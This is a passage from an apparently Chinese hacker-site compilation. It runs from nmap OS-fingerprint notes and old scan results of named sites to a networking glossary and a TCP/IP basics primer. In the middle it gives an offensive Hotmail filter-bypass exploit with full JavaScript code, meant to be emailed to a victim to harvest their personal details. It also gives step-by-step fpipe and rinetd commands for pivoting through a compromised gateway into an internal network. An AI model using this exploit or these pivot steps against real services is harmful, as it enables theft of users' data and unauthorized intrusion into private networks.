> T6(DF=N%W=0%ACK=O%Flags=R%Ops=)
> T7(DF=N%W=0%ACK=S%Flags=AR%Ops=)

以上测试是针对关闭端口的SYN、ACK和FIN|PSH|URG数据包测试，并设置了相同的TCP选项。

> PU(DF=N%TOS=0%IPLEN=38%RIPTL=148%RID=E%RIPCK=E%UCK=E%ULEN=134%DAT=E)

这个是对“端口不可到达”信息的测试。DF=N前面已经介绍过了。TOS=0说明IP服务类型域应为0。接着的两个是IP包头总长度和返回IP包总长度（16进制值）。RID=E说明期望返回包RID值与发送的UDP包的值相同。RIPCK=E说明校验和应该正常（如果不正常则RIPCK=F）。UCK说明UDP包校验和也应该正常。ULEN=134是UDP包长度为0x134。DAT=E说明正确返回UDP数据，这个是大多数情况下的缺省设置。

一些较为著名站点的扫描结果

注：这些都是以前的扫描结果，仅供参考。不保证它现在仍然有效或准确。

# "Hacker" sites or (in a couple
    cases) sites that think they are
www.l0pht.com => OpenBSD 2.2 - 2.4
www.insecure.org => Linux 2.0.31-34
www.rhino9.ml.org => Windows 95/NT # No comment :)
www.technotronic.com => Linux 2.0.31-34
www.nmrc.org => FreeBSD 2.2.6 - 3.0
www.cultdeadcow.com => OpenBSD 2.2 - 2.4
www.kevinmitnick.com => Linux 2.0.31-34 # Free Kevin!
www.2600.com => FreeBSD 2.2.6 - 3.0 Beta
www.antionline.com => FreeBSD 2.2.6 - 3.0 Beta
www.rootshell.com => Linux 2.0.35 # Changed to OpenBSD after
# they got owned.

# Security vendors, consultants, etc.
www.repsec.com => Linux 2.0.35
www.iss.net => Linux 2.0.31-34
www.checkpoint.com => Solaris 2.5 - 2.51
www.infowar.com => Win95/NT

# Vendor loyalty to their OS
www.li.org => Linux 2.0.35 # Linux International
www.redhat.com => Linux 2.0.31-34 # I wonder what distribution :)
www.debian.org => Linux 2.0.35
www.linux.org => Linux 2.1.122 - 2.1.126
www.sgi.com => IRIX 6.2 - 6.4
www.netbsd.org => NetBSD 1.3X
www.openbsd.org => Solaris 2.6 # Ahem :)
www.freebsd.org => FreeBSD 2.2.6-3.0 Beta

# Ivy league
www.harvard.edu => Solaris 2.6
www.yale.edu => Solaris 2.5 - 2.51
www.caltech.edu => SunOS 4.1.2-4.1.4 # Hello! This is the 90's :)
www.stanford.edu => Solaris 2.6
www.mit.edu => Solaris 2.5 - 2.51 # Coincidence that so many good
# schools seem to like Sun?
# Perhaps it is the 40%
# .edu discount :)
www.berkeley.edu => UNIX OSF1 V 4.0,4.0B,4.0D
www.oxford.edu => Linux 2.0.33-34 # Rock on!

# Lamer sites
www.aol.com => IRIX 6.2 - 6.4 # No wonder they are so insecure :)
www.happyhacker.org => OpenBSD 2.2-2.4 # Sick of being owned, Carolyn?
# Even the most secure OS is
# useless in the hands of an
# incompetent admin.

# Misc
www.lwn.net => Linux 2.0.31-34 # This Linux news site rocks!
www.slashdot.org => Linux 2.1.122 - 2.1.126
www.whitehouse.gov => IRIX 5.3
sunsite.unc.edu => Solaris 2.6


通过在html嵌入Javascript逃避hotmail过滤检查获得用户信息

最初在去年,Bart van Arnhem(他的绰号Oblivion)发现了利用嵌入Javascript 代码躲避精心制作图像标签可能性。
利用这种技术,一个荷兰人可以通过转向到一个虚假的hotmail达到获得用户口令.
事实上微软一直通过过滤Javascript,来达到保护网上的电子邮件服务的用户,似乎从98年就开始了

van Arnhem认为 hotmail仅仅过滤第一个Javascript
而他的技术是采用两个地址嵌如在Javascript代码中,利用了html的叫style attribute的命令.所以是成功的;
关于这个漏洞的描述参考:
http://www.securityfocus.com/archive/82/221805
-----------------------
如下所示:
<img src="javascript:bla" style="image1-background:
url('javascript: bla'); image2-backgroun:
url('javascript:alert%28test%29')">
----
javascript:bla过滤将变成javascript:Filtered()
image1-background: url('javascript:bla')过滤变成image1-background: url(non-'javascript:bla'
这样不能被执行
问题在于这里
第二个图象地址
image2-backgroun:
url('javascript:alert%28test%29')不在会被hotmail过滤掉,
%28/%29 <--转化-->( / )
正好被逃避了
Some things you can do with this bug:
1 这样从新通过地址转向到一个虚假的hotmail,让用户重新输入密码etc..
2 获得 cookies 个人信息etc....
------------------
下面是作者提供的测试代码
--------cut here-------
--
<IMG src="javascript:bla"
style="background-image:url('javascript:alert%28%27bli%27%29');
background-image:url('javascript:document.all[61].src=document.location.href.replace%28%22getmsg%22,
%22person%22%29.substring%28%220%22,document.location.href.indexOf%28%22%26msg%22%29%29;
function
bla() { alert%28%22Name=%22 + window.frames[0].personalinfo.xfname.value
+ %22%20%22 + window.frames[0].personalinfo.xlname.value +
%22\nCountry=%22 +
window.frames[0].personalinfo.xcountry[window.frames[0].personalinfo.xcountry.selectedIndex].
text + %22\nProvince=%22 +
window.frames[0].personalinfo.xgeoid[window.frames[0].personalinfo.xgeoid.selectedIndex].text
+ %22\nPostalcode=%22 + window.frames[0].personalinfo.xzip.value +
%22\nMale=%22 + window.frames[0].personalinfo.xgender[0].checked +
%22\nFemale=%22 + window.frames[0].personalinfo.xgender[1].checked +
%22\nBirthday=%22 + window.frames[0].personalinfo.day.value + %22%20%22
+
window.frames[0].personalinfo.month[window.frames[0].personalinfo.month.selectedIndex].text%29;
};setTimeout%28%27bla()%27,4000%29;')">
-------cut here--------
将这代码加入到html中,以网页形式
通过hotmail发给要攻击的用户,当他打开这个邮件的时候,用户的个人信息将被你获得。


突破网关，利用端口重定向进入内网

经常有人问我这个问题“怎样进入内网”，怎么回答呢，归纳起来就是一句话“突破网关，利用端口重定向进入内网”。
首选要突破网关（GetWay），这很容易理解，因为一个内网要访问internet总是必然通过网关接入的，至于怎样突破网关，这和进入不是网关的服务器没有什么两样，就不说了。
突破网关以后，我们的目标就是通过网关（IP为202.98.*.*）上网的192.168.21.75。以后的方法就是在网关力端口重定向，建立包转发。端口重定向分两种（local和remote），但是我们要进而内网，显然不能用local方式的重定向，local方式的重定向主要用来绕过防火墙（关于这个问题我将在随后单独写一篇文章来讨论怎样用端口重定向绕过防火墙）。

一、利用Fpipe建立端口重定向。
Fpipe是个非常有趣的东东。为了证明Fpipe的端口重定向功能，我们来做这样的试验。
首先在自己的机器上运行Fpipe，如下：

E:\tool\FPip>fpipe -l 80 -s 90 -r 80 202.98.177.162
FPipe v2.1 - TCP/UDP port redirector.
Copyright 2000 (c) by Foundstone, Inc.
http://www.foundstone.com

//解释一下这个命令
fpipe -l 80 -s 90 -r 80 202.98.177.162
将到本机80端口的连接通过90端口连接到202.98.177.162的80端口。
一下是详细语法：
FPipe [-hv?] [-brs <port>] IP
-?/-h - shows this help text
-c - maximum number of allowed simultaneous connections. Default is 32 #连接的最大数目,默认是32
-l - listening port number #要监听的TCP端口号
-r - remote TCP port number #要定向到的IP主机的端口号
-s - outbound connection source port number #从哪个端口发出重定向信息
-v - verbose mode #详细显示过程

在上面的过程中，我们在自己的机器上建立了端口重定向：将到本机80端口的连接通过90端口连接到202.98.177.162的80端口
然后我们在浏览器中输入：http://127.0.0.1，结果发现昆明高新区的网页打了，这说明我们的重定向成功。
此时fpipe现实了如下的内容：
Pipe connected:
In: 127.0.0.1:2092 --> 127.0.0.1:80
Out: 192.168.168.112:90 --> 202.98.177.162:80

从上面的输出可以看出数据包经过的路径（192.168.168.112是我的IP）
好了成功以后，下面的东西我不说大家也知道了，将Fpipe拷贝到我们控制的网关上，执行重定向：
fpipe -l 81 -s 91 -r 21 192.168.21.75 #在网关（202.98.*.*）执行，将到202.98.*.*的81端口的数据通过91端口转发向192.168.21.75的21端口。同样的：
fpipe -l 82 -s 92 -r 23 192.168.21.75 #将到202.98.*.*的82端口的数据通过92端口转发向192.168.21.75的23端口
fpipe -l 83 -s 93 -r 80 192.168.21.75 #将到202.98.*.*的83端口的数据通过93端口转发向192.168.21.75的80端口
fpipe -l 84 -s 94 -r 139 192.168.21.75 #将到202.98.*.*的84端口的数据通过94端口转发向192.168.21.75的139端口

下面的你更应该知道了：
如果你在本机telnet到202.98.*.*的81就等价于你telnet到192.168.21.75的21，不对啊！192.168.21.75的21应该FTP上去才对啊（哈哈），那就ftp到202.98.*.*的81端口吧！

写到这里我也忍不住喊“真牛…………真牛…………”

二、利用rinetd建立重定向。
方法和上面一样。在网关上运行rineted，不过要建立个配置文件（文件名和扩展名随意了在这里我以配置文件为conf.ini做例子说）
在本地用计事本建立如下内容的配置文件（其中的*不方便说，别找这写哦！他的意思是将到202.98.*.* 的90的包转发到192.168.21.75的80）
202.98.*.* 90 192.168.21.75 80
将他存为conf.ini文件然后和rineted拷贝到那个网关上（202.98.*.* ），然后
在网关上执行
rinetd -c conf.ini
然后你连接到202.98.*.* 90和连接到192.168.21.75 80的效果是一样的。

顺便说说rinetd配置文件的语法为
bindaddress bindport connectaddress connectport

写在后面：
Fpipe和rineted是很牛的两个工具，通常我是用这两个工具来突破防火墙的，以后抽空说说这个问题。
什么什么，这两个小东西在那下载（别懒了，自己找把）：
http://www.boutell.com/rinetd/
http://www.foundstone.com
去看看吧！
倒,打了这么多字，手酸死了！哈哈！88。


网络常用词汇表

    A
ANALOG DATA 模拟数据

ANONYMOUS 匿名文件传输

APPLICATION 应用程序

ARCHIE 档案

ASCII(American Standard Code for information interchange)美国信息互换标准代码

ATM(Asynchronous Transfer Mode)异步传输模式

ATTACHMENT附件

B

BACKBONE 骨干网

BANDWIDTH 带宽

BAUD RATE 波特率

BBS(Bulletin Board System) 电子公告牌系统

BETA VERSION Beta 测试版

BINARY DATA 二进制数据

BIT 比特

BOOKMARK 书签

BPS 每秒比特数

BRIDGE 网桥

BROWSER 浏览器

C

CABLE MODEM 电缆调制解调器 CACHE DIRECTORY 缓存目录

CGI(Common gateway interface) 通用网关接口

CHANNEL 频道

CHAT 聊天

CLIENT PROGRAM 客户程序

CLIENT/SERVER 客户/服务器

COM PORT COM 通讯端口

CYBERSPACE 电脑化空间

D

DATA BASE 数据库

DATA COMPRESSION 数据压缩

DIAL-UP CONNECTION 拨号连接

DIAL-UP NETWORKING SOFTWARE 拨号连网软件

DIGITAL CAMERA 数字相机

DIRECT INTERNET CONNECTION 直接网间连接

DNS(Domain Name System) 域名系统

DOMAIN NAME 域名

DOWNLOAD 下载

DYNAMIC IP ADDRESSING 动态IP地址

E

E-MAIL(Electronic Mail) 电子邮件

E-MAIL ADDRESS 电子邮件地址

EMOTICIOS 情感符号

ENCRYPTION 加密

ERROR CORRECTION 纠错

ETHERNET 以太网

F

FAQ(Frequently Asked Questions) 常见问题

FAX-MODEM 传真-调制解调器

FREEWARE 免费软件

FTP(File Transfer Protocol) 文件传输协议

G

GATEWAY 网关

GIF(Graphic Interchange format) 图形交换格式

GOPHER 一种查询方法

H

HELPER APPLICATION 助手应用程序

HOME PAGE 网页

HOT LINK 热连接

HTML(Hyper Text Mark Language) 超文本标记语言

HTTP(Hyper Text Transfer Protocol) 超文本传输协议

HYPER TERMINAL 超级终端

HYPER TEXT 超文本

I

IMAGE MAP 图像导位图

INTERNET 国际互联网

IP(Internet Protocol) 网间协议

IP ADDRESS IP地址

IRC(Internet Relay Chat) 网间实时聊天

ISDN(Integrated Service Digital Network) 综合业务数据网

ISP(Internet Service Provider) 互联网服务供应商

J

JAVA 娇娃，一种在互联网上广泛应用的语言

L

LIST SERVER 目录服务器

LOGIN 登录

M

MAIL SERVER 邮件服务器

MAILING LIST 邮寄目录

MIME(Multipurpose Internet Mail Extensions) 多用途网络邮件扩展

MODEM 调制解调器

MUD(Multiuser Dungeon) 多人城堡游戏

MULTIMEDIA 多媒体

N

NETIQUETTE 行为规范

NETWORK 网络

NEWBIE 新手

NEWSGROUPS 新闻组

NEWSERADER 新闻阅读器

NEWS SERVER 新闻服务器

NODE 节点

O

OFF-LINE 离线

ON-LINE 在线

ON-LINE SERVICE 在线服务

ON-LINE SERVICE PROVIDER 在线服务供应商

P

PACKET SWITCHING 包交换

PASSWORD 密码

PEM(Privacy Enhanced Mail) 增强保密邮件

PLUG-IN 插件

POP(Point of Presence) 代理点

POP3 (Post Office Protocol) 邮政协议

POP3 SERVER POP3 服务器

POST 投寄

PPP(Point to Point Protocol) 点对点通讯协议

PROTOCOL 协议

PROVIDER 供应商

R

REMOTE LOGIN 远程登录

ROUTER 路由器

S

SEARCH ENGINE 搜索器

SERIAL PORT 串口

SERVER 服务器

SHAREWARE 共享软件

SIGNATURE 签名

SLIP(Serial Line Internet Protocol) 串行线路Internet协议

SMTP(Simple Mail Transfer Protocol) 简单邮件传输协议

SMTP SERVER SMTP 服务器

STATIC IP ADDRESSING 静态IP地址分配

STREAMING 流式

SUBSCRIBE 订阅

SUPER COMPUTER 超级电脑

SURFING 冲浪

T

TALKER 聊天程序

TCP/IP(Transfer Control Protocol/Internet Protocol) 传输控制协议/ 网间协议

TELNET 一种互联网应用

U

UART CHIP(Universal Asynchronous Receiver/Transmitter) 标准异步接收器/发射器

URL(Uniform Resource Locator) 全球资源定位器

USENET 互联网新闻组

UUENCODE 一种流行的压缩方式

V

VR(Virtual Reality) 虚拟现实

VRML (Virtual Reality Markup Language) 虚拟现实置标语言 W

WAIS(Wide Area Information Servers) 广域信息服务器

WEB PAGE 万维网页

WEB SITE 万维网站

WEB-WIDE SEARCH ENGINE 万维网搜索器

WINSOCK 一种应用于Windows与Internet连接标准

WORLD WIDE WEB 万维网


网络基础知识

一.网络的定义及特点

计算机网络，就是把分布在不同地理区域的计算机与专门的外部设备用通信线路互连成一个规模大、功能强的网络系统，从而使众多的计算机可以方便地互相传递信息，共享信息资源。

一般来说，计算机网络可以提供以下一些主要功能：

* 资源共享 网络的出现使资源共享变得很简单，交流的双方可以跨越时空的障碍，随时随地传递信息。
* 信息传输与集中处理 数据是通过网络传递到服务器中，由服务器集中处理后再回送到终端。
* 负载均衡与分布处理 负载均衡同样是网络的一大特长。举个典型的例子：一个大型ICP（Internet内容提供商）为了支持更多的用户访问他的网站，在全世界多个地方放置了相同内容的WWW服务器；通过一定技巧使不同地域的用户看到放置在离他最近的服务器上的相同页面，这样来实现各服务器的负荷均衡，同时用户也省了不少冤枉路。
* 综合信息服务 网络的一大发展趋势是多维化，即在一套系统上提供集成的信息服务，包括来自政治、经济、等各方面资源，甚至同时还提供多媒体信息，如图象、语音、动画等。在多维化发展的趋势下，许多网络应用的新形式不断涌现，如：

① 电子邮件——这应该是大家都得心应手的网络交流方式之一。发邮件时收件人不一定要在网上，但他只要在以后任意时候打开邮箱，都能看到属于自己的来信。
② 网上交易——就是通过网络做生意。其中有一些是要通过网络直接结算，这就要求网络的安全性要比较高。
③ 视频点播——这是一项新兴的娱乐或学习项目，在智能小区、酒店或学校应用较多。它的形式跟电视选台有些相似，不同的是节目内容是通过网络传递的。
④ 联机会议——也称视频会议，顾名思义就是通过网络开会。它与视频点播的不同在于所有参与者都需主动向外发送图像，为实现数据、图像、声音实时同传，它对网络的处理速度提出了最高的要求。

以上对网络的功能只是略举一二，我们将在以后的篇幅中用更详尽的案例去充实大家对网络的理解。

网络的分类及组成

网络依据什么划分，又是如何组成的呢？

计算机网络的类型有很多，而且有不同的分类依据。网络按交换技术可分为：线路交换网、分组交换网；按传输技术可分为：广播网、非广播多路访问网、点到点网；按拓朴结构可分为总线型、星型、环形、树形、全网状和部分网状网络；按传输介质又可分为同轴电缆、双纽线、光纤或卫星等所连成的网络。这里我们主要讲述的是根据网络分布规模来划分的网络：局域网、城域网、广域网和网间网。

1． 局域网-LAN(Local Area Network)
将小区域内的各种通信设备互连在一起所形成的网络，覆盖范围一般局限在房间、大楼或园区内。局域网的特点是：距离短、延迟小、数据速率高、传输可靠。

目前常见的局域网类型包括：以太网（Ethernet）、令牌环网 （Token Ring）、光纤分布式数据接口（FDDI）、异步传输模式（ATM）等，它们在拓朴结构、传输介质、传输速率、数据格式等多方面都有许多不同。其中应用最广泛的当属以太网—— 一种总线结构的LAN，是目前发展最迅速、也最经济的局域网。

局域网的常用设备有：

* 网卡（NIC） 插在计算机主板插槽中，负责将用户要传递的数据转换为网络上其它设备能够识别的格式，通过网络介质传输。它的主要技术参数为带宽、总线方式、电气接口方式等。

* 集线器（Hub） 是单一总线共享式设备，提供很多网络接口，负责将网络中多个计算机连在一起。所谓共享是指集线器所有端口共用一条数据总线，因此平均每用户（端口）传递的数据量、速率等受活动用户（端口）总数量的限制。它的主要性能参数有总带宽、端口数、智能程度（是否支持网络管理）、扩展性（可否级联和堆叠）等。

* 交换机（Switch） 也称交换式集线器。它同样具备许多接口，提供多个网络节点互连。但它的性能却较共享集线器大为提高：相当于拥有多条总线，使各端口设备能独立地作数据传递而不受其它设备影响，表现在用户面前即是各端口有独立、固定的带宽。此外，交换机还具备集线器欠缺的功能，如数据过滤、网络分段、广播控制等。

* 线缆 局域网的距离扩展需要通过线缆来实现，不同的局域网有不同连接线缆，如光纤、双绞线、同轴电缆等。

2． 城域网- MAN(Metropolitan Area Network)
MAN的覆盖范围限于一个城市，目前对于市域网少有针对性的技术，一般根据实际情况通过局域网或广域网来实现。

3． 广域网-WAN(Wide Area Network)
WAN连接地理范围较大，常常是一个国家或是一个洲。其目的是为了让分布较远的各局域网互连，所以它的结构又分为末端系统（两端的用户集合）和通信系统（中间链路）两部分。通信系统是广域网的关键，它主要有以下几种：

* 公共电话网 即PSTN（Public Swithed Telephone Network），速度9600bps～28.8kbps，经压缩后最高可达115.2kbps，传输介质是普通电话线。它的特点是费用低，易于建立，且分布广泛。
* 综合业务数字网 即ISDN（Integrated Service Digital Network），也是一种拨号连接方式。低速接口为128kbps（高速可达2M），它使用ISDN线路或通过电信局在普通电话线上加装ISDN业务。ISDN为数字传输方式，具有连接迅速、传输可靠等特点，并支持对方号码识别。ISDN话费较普通电话略高，但它的双通道使其能同时支持两路独立的应用，是一项对个人或小型办公室较适合的网络接入方式。
* 专线 即Leased Line，在中国称为DDN，是一种点到点的连接方式，速度一般选择64kbps～2.048Mbps。专线的好处是数据传递有较好的保障，带宽恒定；但价格昂贵，而且点到点的结构不够灵活。
* X.25网 是一种出现较早且依然应用广泛的广域网方式，速度为9600bps～64kbps；有 冗余纠错功能，可 靠性高，但由此带来的副效应是速度慢,延迟大；
* 帧中继 即Frame Relay，是在X.25基础上发展起来的较新技术，速度一般选择为64kbps～2.048Mbps。帧中继的特点是灵活、弹性：可实现一点对 多点的连接，并且在数据量大时可超越约定速率传送数据，是一种较好的商业用户连接选择。
*异步传输模式 即ATM（Asynchronous Transfer Mode），是一种信元交换网络，最大特点的速率高、延迟小、传输质量有保障。ATM大多采用光纤作为连接介质，速率可高达上千兆（109bps），但成本也很高。

广域网与局域网的区别在于：线路通常需要付费。多数企业不可能自己架设线路，而需要租用已有链路，故广域网的大部分花费用在了这里。人们常常考虑如何优化使用带宽，将“好刀用在刀刃上”。

广域网常用设备有：

* 路由器（Router） 广域网通信过程根据地址来寻找到达目的地的路径，这个过程在广域网中称为"路由（Routing）"。路由器负责在各段广域网和局域网间根据地址建立路由，将数据送到最终目的地。
* 调制解调器（Modem） 作为末端系统和通信系统之间信号转换的设备，是广域网中必不可少的设备之一。分为同步和异步两种，分别用来与路由器的同步和异步串口相连接，同步可用于专线、帧中继、X.25等，异步用于PSTN的连接。

4． 网间网
即Internetwork，是一系列局域网和广域网的组合，因此包含的技术也是现有的局域网和广域网技术的综合。Internet便是一个当前最大也最为典型的网间网。

二.协议的定义及意义

如何定义网络协议，它有哪些意义？
协议是对网络中设备以何种方式交换信息的一系列规定的组合，它对信息交换的速率、传输代码、代码结构、传输控制步骤、出错控制等许多参数作出定义。

网络是一个相互联结的大群体，因此要想加入到这个群体中来，就不能随心所欲，任由兴之所发。就好象一个国家或一个种族拥有自己的语言，大家都必须通晓并凭借这种语言来对话一样，相互联结的网络中各个节点也需要拥有共同的“语言”，依据它所定义的规则来控制数据的传递，这种语言便是大家经常听说的 “协议”。协议是对网络中设备以何种方式交换信息的一系列规定的组合，它对信息交换的速率、传输代码、代码结构、传输控制步骤、出错控制等许多参数作出定义。

对网络始入门者来说，纷繁复杂的协议常常让人头痛不已—这些协议各起什么作用？它们之间又有什么联系？为什么有了A协议还需要补充B协议？这些问题搞不清楚，往往成为进一步学习的障碍。其实这个问题应该这样理解：是先有了各种不同语言的民族，后来随着社会的发展，才有了不同民族间交流的需求。网络也是这样，最初人们在小范围内建立网络，只需要自己作一些简单的约定，保证这一有限范围内的用户遵守就可以了；到后来网络规模越来越大，才考虑到制定更严格的规章制度即协议；而为了实现多个不同网络的互联，又会增加不少新协议作为补充，或成长为统一的新标准。

数据在网络中由源传输到目的地，需要一系列的加工处理，为了便于理解，我们这里不妨打个比喻。如果我们把数据比做巧克力：我们可以把加工巧克力的设备作为源，而把消费者的手作为目的来看看会有什么样的传输过程。巧克力厂通常会为每块巧克力外边加上一层包装，然后还会将若干巧克力装入一个巧克力盒，再把几个巧克力盒一起装入一个外包装，运输公司还会把许多箱巧克力装入一个集装箱，到达消费者所在的城市后，又会由运输商、批发商、零售商、消费者打开不同的包装层。不同层次的包装、解包装需要不同的规范和设备，计算机网络也同样有不同的封装、传输层面，为此国际标准化组织ISO于1978 年提出“开放系统互连参考模型”，即著名的OSI(Open System Interconnection)七层模型，它将是我们后续篇幅中要介绍的内容，这里先不展开论述。 网络的协议就是用作这些不同的网络层的行为规范的。网络在发展过程中形成了很多不同的协议族，每一协议族都在网络的各层对应有相应的协议，其中作为Internet规范的是ICP/IP协议族，这也是我们今天要讲的。

TCP/IP协议的定义以及层次、功能

什么是TCP/IP协议，划为几层，各有什么功能？
TCP/IP协议族包含了很多功能各异的子协议。为此我们也利用上文所述的分层的方式来剖析它的结构。TCP/IP层次模型共分为四层：应用层、传输层、网络层、数据链路层。

TCP/IP网络协议
TCP/IP(Transmission Control Protocol/Internet Protocol，传输控制协议/网间网协议)是目前世界上应用最为广泛的协议，它的流行与Internet的迅猛发展密切相关—TCP/IP最初是为互联网的原型ARPANET所设计的，目的是提供一整套方便实用、能应用于多种网络上的协议，事实证明TCP/IP做到了这一点，它使网络互联变得容易起来，并且使越来越多的网络加入其中，成为Internet的事实标准。

* 应用层—应用层是所有用户所面向的应用程序的统称。ICP/IP协议族在这一层面有着很多协议来支持不同的应用，许多大家所熟悉的基于Internet的应用的实现就离不开这些协议。如我们进行万维网（WWW）访问用到了HTTP协议、文件传输用FTP协议、电子邮件发送用SMTP、域名的解析用DNS协议、 远程登录用Telnet协议等等，都是属于TCP/IP应用层的；就用户而言，看到的是由一个个软件所构筑的大多为图形化的操作界面，而实际后台运行的便是上述协议。

* 传输层—这一层的的功能主要是提供应用程序间的通信，TCP/IP协议族在这一层的协议有TCP和UDP。

* 网络层—是TCP/IP协议族中非常关键的一层，主要定义了IP地址格式，从而能够使得不同应用类型的数据在Internet上通畅地传输，IP协议就是一个网络层协议。

* 网络接口层—这是TCP/IP软件的最低层，负责接收IP数据包并通过网络发送之，或者从网络上接收物理帧，抽出IP数据报，交给IP层。

1．TCP/UDP协议
TCP (Transmission Control Protocol)和UDP(User Datagram Protocol)协议属于传输层协议。其中TCP提供IP环境下的数据可靠传输，它提供的服务包括数据流传送、可靠性、有效流控、全双工操作和多路复用。通过面向连接、端到端和可靠的数据包发送。通俗说，它是事先为所发送的数据开辟出连接好的通道，然后再进行数据发送；而UDP则不为IP提供可靠性、流控或差错恢复功能。一般来说，TCP对应的是可靠性要求高的应用，而UDP对应的则是可靠性要求低、传输经济的应用。TCP支持的应用协议主要有：Telnet、FTP、SMTP等；UDP支持的应用层协议主要有：NFS（网络文件系统）、SNMP（简单网络管理协议）、DNS（主域名称系统）、TFTP（通用文件传输协议）等。

IP协议的定义、IP地址的分类及特点

什么是IP协议，IP地址如何表示，分为几类，各有什么特点？
为了便于寻址和层次化地构造网络，IP地址被分为A、B、C、D、E五类，商业应用中只用到A、B、C三类。

IP协议(Internet Protocol)又称互联网协议，是支持网间互连的数据报协议，它与TCP协议（传输控制协议）一起构成了TCP/IP协议族的核心。它提供网间连接的完善功能， 包括IP数据报规定互连网络范围内的IP地址格式。

Internet 上，为了实现连接到互联网上的结点之间的通信，必须为每个结点（入网的计算机）分配一个地址，并且应当保证这个地址是全网唯一的，这便是IP地址。

目前的IP地址（IPv4：IP第4版本）由32个二进制位表示，每8位二进制数为一个整数，中间由小数点间隔，如159.226.41.98，整个IP地址空间有4组8位二进制数，由表示主机所在的网络的地址（类似部队的编号）以及主机在该网络中的标识（如同士兵在该部队的编号）共同组成。

为了便于寻址和层次化的构造网络，IP地址被分为A、B、C、D、E五类，商业应用中只用到A、B、C三类。

* A类地址：A类地址的网络标识由第一组8位二进制数表示，网络中的主机标识占3组8位二进制数，A类地址的特点是网络标识的第一位二进制数取值必须为“0”。不难算出，A类地址允许有126个网段，每个网络大约允许有1670万台主机，通常分配给拥有大量主机的网络（如主干网）。

* B类地址：B类地址的网络标识由前两组8位二进制数表示，网络中的主机标识占两组8位二进制数，B类地址的特点是网络标识的前两位二进制数取值必须为“10”。B类地址允许有16384个网段，每个网络允许有65533台主机，适用于结点比较多的网络（如区域网）。

* C类地址：C类地址的网络标识由前3组8位二进制数表示，网络中主机标识占1组8位二进制数，C类地址的特点是网络标识的前3位二进制数取值必须为“110”。具有C类地址的网络允许有254台主机，适用于结点比较少的网络（如校园网）。

为了便于记忆，通常习惯采用4个十进制数来表示一个IP地址，十进制数之间采用句点“.”予以分隔。这种IP地址的表示方法也被称为点分十进制法。如以这种方式表示，A类网络的IP地址范围为1.0.0.1－127.255.255.254；B类网络的IP地址范围为：128.1.0.1－191.255.255.254；C类网络的IP地址范围为：192.0.1.1－223.255.255.254。

由于网络地址紧张、主机地址相对过剩，采取子网掩码的方式来指定网段号。

TCP/IP协议与低层的数据链路层和物理层无关，这也是TCP/IP的重要特点。正因为如此 ，它能广泛地支持由低两层协议构成的物理网络结构。目前已使用TCP/IP连接成洲际网、全国网与跨地区网。

三.网络发展简史

是什么促进了网络的发展？
纵观近几十年信息时代的风云变换，人们可以了解网络的发展是与计算机、尤其是个人电脑（PC）的发展密切相关的。

第一台计算机诞生于1945年，标志着人类自学会使用工具的漫长岁月中，终于拥有了可以替代人类脑力劳动的“工具”；到六、七十年代，进而衍生出计算机互连系统—严格说来还算不上真正的网络—它是IBM和Digital的中央处理系统，网络主体是一台或多台大型主机，被隔离在一个相对封闭的机房（那时人们通常称这种机房为“玻璃屋”），然后由一群身穿白大褂的工作人员小心维护；大多数网络用户面对的是一台台非智能化的终端，所有对终端的操作都将通过低速链路传递到主机去进行处理，网络的效率主要由链路的速率和主机的性能决定。这样的网络不是面向大众的，仅局限于一些专业领域，如：金融行业、研究机构等。对大多数人而言，网络是陌生的、神秘的甚至是虚无缥缈的东西。

直到八十年代PC的出现，才给网络吹来一股清新之风—相对终端而言，PC具备自己的处理引擎（CPU）和文件存贮区域（硬盘），能够装载多种应用程序，独立地完成许多工作，从而将强大的计算能力交到个人手里；相对大型主机而言，这种轻便的机器内部结构大大简化，其价格远低于大型机，并且随着批量生产和技术的迅速成熟还在不断下降，使越来越多的用户能享受到这种智能设备带来的迅速、方便、功能强大的服务。因此可以说PC的出现首先是满足了个人用户信息处理的需要。但与个人信息处理紧密相联的便是信息的交换，于是联网的需求应运而生—人们购买网络设备和连线，在自己的办公室内搭建起局域网，实现本地通讯；为了扩展网络距离，又向提供服务的电话公司租用电话线或其它线路，在城市的各个角落甚至城市之间建立起广域网；再进一步发展下去，又出现了一类专门的服务行业，可以通过主干连接将原本隔离的多个网络互联起来，构成跨越国度的网际网。在这一过程中，Internet（国际互联网）的蓬勃兴起毫无疑问地成为网络技术成长的催化剂。

Internet发展简史

Internet是如何演变的？
Internet的应用范围由最早的军事、国防，扩展到美国国内的学术机构，进而迅速覆盖了全球的各个领域，运营性质也由科研、教育为主逐渐转向商业化。

在科学研究中，经常碰到“种瓜得豆”的事情，Internet的出现也正是如此：它的原型是1969年美国国防部远景研究规划局（Advanced Research Projects Agency）为军事实验用而建立的网络，名为ARPANET，初期只有四台主机，其设计目标是当网络中的一部分因战争原因遭到破 坏时，其余部分仍能正常运行；80年代初期ARPA和美国国防部通信局研制成功用于异构网络的 TCP/IP协议并投入使用；1986年在美国国会科学基金会（National Science Foundation)的支持下，用高速通信线路把 分布在各地的一些超级计算机连接起来，以NFSNET接替ARPANET；进而又经过十几年的发展形成Internet。其应用范围也由最早的军事、国防，扩展到美国国内的学术机构，进而迅速覆盖了全球的各个领域，运营性质也由科研、教育为主逐渐转向商业化。

90年代初，中国作为第71个国家级网加入Internet，目前，Internet已经在我国开放，通过中国公用互连网络(CHINANET)或中国教育科研计算机网(CERNET)都可与Internet联通。只要有一台微机，一部调制解调器和一部国内直拨电话就能够很方便地享受到Internet的资源；这是Internet逐步"爬"入普通人家的原因之一；原因之二，友好的用户界面、丰富的信息资源、贴近生活的人情化感受使非专业的家庭用户既做到应用自如，又能大饱眼福，甚至利用它为自己的工作、学习、生活锦上添花，真正做到"足不出户，可成就天下事，潇洒作当代人"。

网络的神奇作用吸引着越来越多的用户加入其中，正因如此，网络的承受能力也面临着越来越严峻的考验—从硬件上、软件上、所用标准上......，各项技术都需要适时应势，对应发展，这正是网络迅速走向进步的催化剂。到了今天，Internet能够负担如此众多用户的参与，说明我们的网络技术已经成长到了相当成熟的地步，用户自己也能耳闻目睹不断涌现的新名词、新概念。但这还不是终结，仅仅是历史长河的一段新纪元的开始而已。

Internet的应用集锦

Internet可为我们做哪些事？
Internet如此美妙，初入门者不免好奇：它究竟可以为我们做哪些事？总的说来，Internet是一套通过网络来完成有用的通讯任务的应用程序，下面的篇幅将从应用入手，展示Internet的几项最广为流行的功能，它包括：电子邮件、WWW、文件传输、远程登 录、新闻组、信息查询等。

1．电子邮件(Email)
